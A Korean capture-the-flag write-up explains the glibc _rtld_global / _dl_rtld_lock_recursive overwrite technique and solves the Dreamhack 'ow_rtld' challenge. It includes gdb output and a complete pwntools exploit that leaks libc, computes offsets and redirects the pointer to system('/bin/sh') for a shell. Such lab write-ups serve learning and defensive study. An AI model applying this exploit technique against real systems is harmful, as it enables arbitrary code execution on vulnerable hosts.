개념정리
프로그램이 실행되고 프로세스로 등록될 때, 프로그램에 명시된 코드 뿐만이 아니라 프로그램에서 쓰이는 변수를 관리하기 위한 영역을 할당하는 코드가 로더에 의해 실행된다.
프로세스를 종료하는 과정에서 실행되는 라이브러리 함수가 존재하는데, 그 중에서 _rtld_global 구조체와 관련된 라이브러리 함수를 알아보고 어떻게 취약점이 발생하는지 알아보자.
return 명령으로 프로그램이 종료된다면 __run_exit_handlers()
에 있는 _dl_fini()
가 호출된다.
○ _dl_fini()
#define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)
void
_dl_fini (void)
{
#ifdef SHARED
int do_audit = 0;
again:
#endiffor (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
_dl_fini()
에서는 _dl_load_lock을 인자로 __rtld_lock_lock_recursive()
를 호출하는 것을 볼 수 있다. 상단에 정의된 매크로를 확인하면, 해당 함수는 dl_rtld_lock_recursive
라는 함수 포인터임을 알 수 있다.
dl_rtld_lock_recursive 함수 포인터는 _rtld_global 구조체의 멤버 변수다.
○ _rtld_global
다음은 gdb로 _rtld_global 구조체를 확인한 모습이다.
pwndbg> b *main
Breakpoint 1 at 0x81d
pwndbg> r
...
pwndbg> p _rtld_global
_dl_load_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
}
...
_dl_rtld_lock_recursive = 0x7fa9cf2700e0 <rtld_lock_default_lock_recursive>
_dl_rtld_lock_recursive 함수 포인터에는 rtld_lock_default_lock_recursive()
주소가 저장됐다.
- ubuntu 18.04 버전에서 테스트 한 결과다. 최신 OS에서 테스트하면
_dl_rtld_lock_recursive
를 찾을 수 없다.
pwndbg> p &_rtld_global._dl_rtld_lock_recursive
$1 = (void (**)(void *)) 0x7fa9cf499f60 <_rtld_global+3840>
pwndbg> vmmap 0x7fa9cf499f60
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7fa9cf499000 0x7fa9cf49a000 rw-p 1000 2a000 /lib/x86_64-linux-gnu/ld-2.27.so +0xf60
_dl_rtld_lock_recursive에 저장된 주소가 쓰기 권한이 있는지 확인했다.
구조체의 함수 포인터가 저장된 영역은 읽기/쓰기 권한이 존재하기 때문에 Full RELRO와 PIE 보호기법이 적용된 환경이라도 overwrite가 가능하다.
ld 라이브러리가 프로세스에 로드/언로드 될 때, _dl_rtld_lock_recursive()
가 실행된다. 따라서 _dl_rtld_lock_recursive에 저장되는 함수 포인터를 조작하면 ld 라이브러리가 언로드 될 때 조작한 주소의 함수가 실행된다.
공격자는 이를 악용해서 쉘을 획득할 수 있다.
이와 같은 취약점을 방지하려면, _dl_rtld_lock_recursive를 지역변수로 지정하거나 검증로직을 추가하는 방법을 고려할 수 있다.
문제풀이
[*] '/root/rtld/ow_rtld'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 보호기법이 적용됐다. 하지만 개념정리에서 설명했듯이 rtld overwrite는 모든 기법이 적용됐어도 exploit 할 수 있다.
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
코드 구성은 간단하다.
- stdout 주소를 출력한다.
- 원하는 주소에 데이터를 무한히 쓸 수 있다.
_dl_rtld_lock_recursive에 저장되는 함수 포인터와 _dl_load_lock을 조작하면
system('/bin/sh')
를 실행할 수 있다.
_dl_rtld_lock_recursive를 조작하려면 주소를 알아내야한다.
다음은 rtld_global 주소를 알아내는 과정이다.
- libc base 주소 획득
- ld base 주소 획득
- rtld_global 주소 획득
- _dl_rtld_lock_recursive & _dl_load_lock 주소 획득
rtld_global 주소는 ld 라이브러리에서 로드되므로 ld base 주소를 알아야 한다. ld base 주소는 libc base 주소와의 오프셋 차이를 통해 구할 수 있다.
- 분석은 Dockerfile에 정의된 ubuntu 18.04 환경에서 진행했다.
[stdout addr] - [stdout offset]
libc base는 stdout 주소를 통해서 구할 수 있다.
pwndbg> vmmap
...
0x7fa9cee7e000 0x7fa9cf065000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
...
0x7fa9cf26f000 0x7fa9cf298000 r-xp 29000 0 /lib/x86_64-linux-gnu/ld-2.27.so
...
pwndbg> p/x 0x7fa9cf26f000-0x7fa9cee7e000
$7 = 0x3f1000
ld base는 libc base와 ld base의 오프셋을 통해 ld base를 구할 수 있다.
두 주소를 연산하면 0x3f1000이 오프셋으로 계산된다.
다음으로 rtld_global 오프셋을 구해보자.
필자는 편의를 위해 Dockerfile에 정의된 환경을 직접 구축해서 ld 파일을 로컬로 가져왔다.
가져온 ld 파일을 이용해서 계산하면 다음과 같이 rtld_global 주소를 구할 수 있다.
[ld base addr] + [rtld_global offset] = [rtld_global addr]
다음으로 _dl_load_lock과 _dl_rtld_lock_recursive의 오프셋을 구해보자.
pwndbg> p &_rtld_global._dl_load_lock
$4 = (__rtld_lock_recursive_t *) 0x7fa9cf499968 <_rtld_global+2312>
pwndbg> p &_rtld_global._dl_rtld_lock_recursive
$5 = (void (**)(void *)) 0x7fa9cf499f60 <_rtld_global+3840>
각각 2312, 3840로 구할 수 있다.
_dl_load_lock은 *_dl_rtld_lock_recursive
의 인자로 사용되므로 다음과 같이 overwrite 하자.
_dl_rtld_lock_recursive = system
_dl_load_lock = "/bin/sh"
최종적으로 system(”/bin/sh”)
가 실행될 것이다.
from pwn import *
import warnings
warnings.filterwarnings('ignore')
p = remote('host3.dreamhack.games', 17845)
#p = process("./ow_rtld", env={'LD_PRELOAD':'./libc-2.27.so_18.04.3'})
libc = ELF('./libc-2.27.so_18.04.3')
ld = ELF('./ld-2.27.so')
# Leak libc/ld base
p.recvuntil(": ")
stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
success("ld_base: "+hex(ld_base))
# Calc rtld_global
rtld_global = ld_base + ld.symbols['_rtld_global']
# Calc dl_load_lock & dl_rtld_lock_recursive
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
# Exploit
system = libc_base + libc.symbols['system']
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00")))
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))
p.sendlineafter("> ", "2")
p.interactive()
reference
[dreamhack] Background: _rtld_global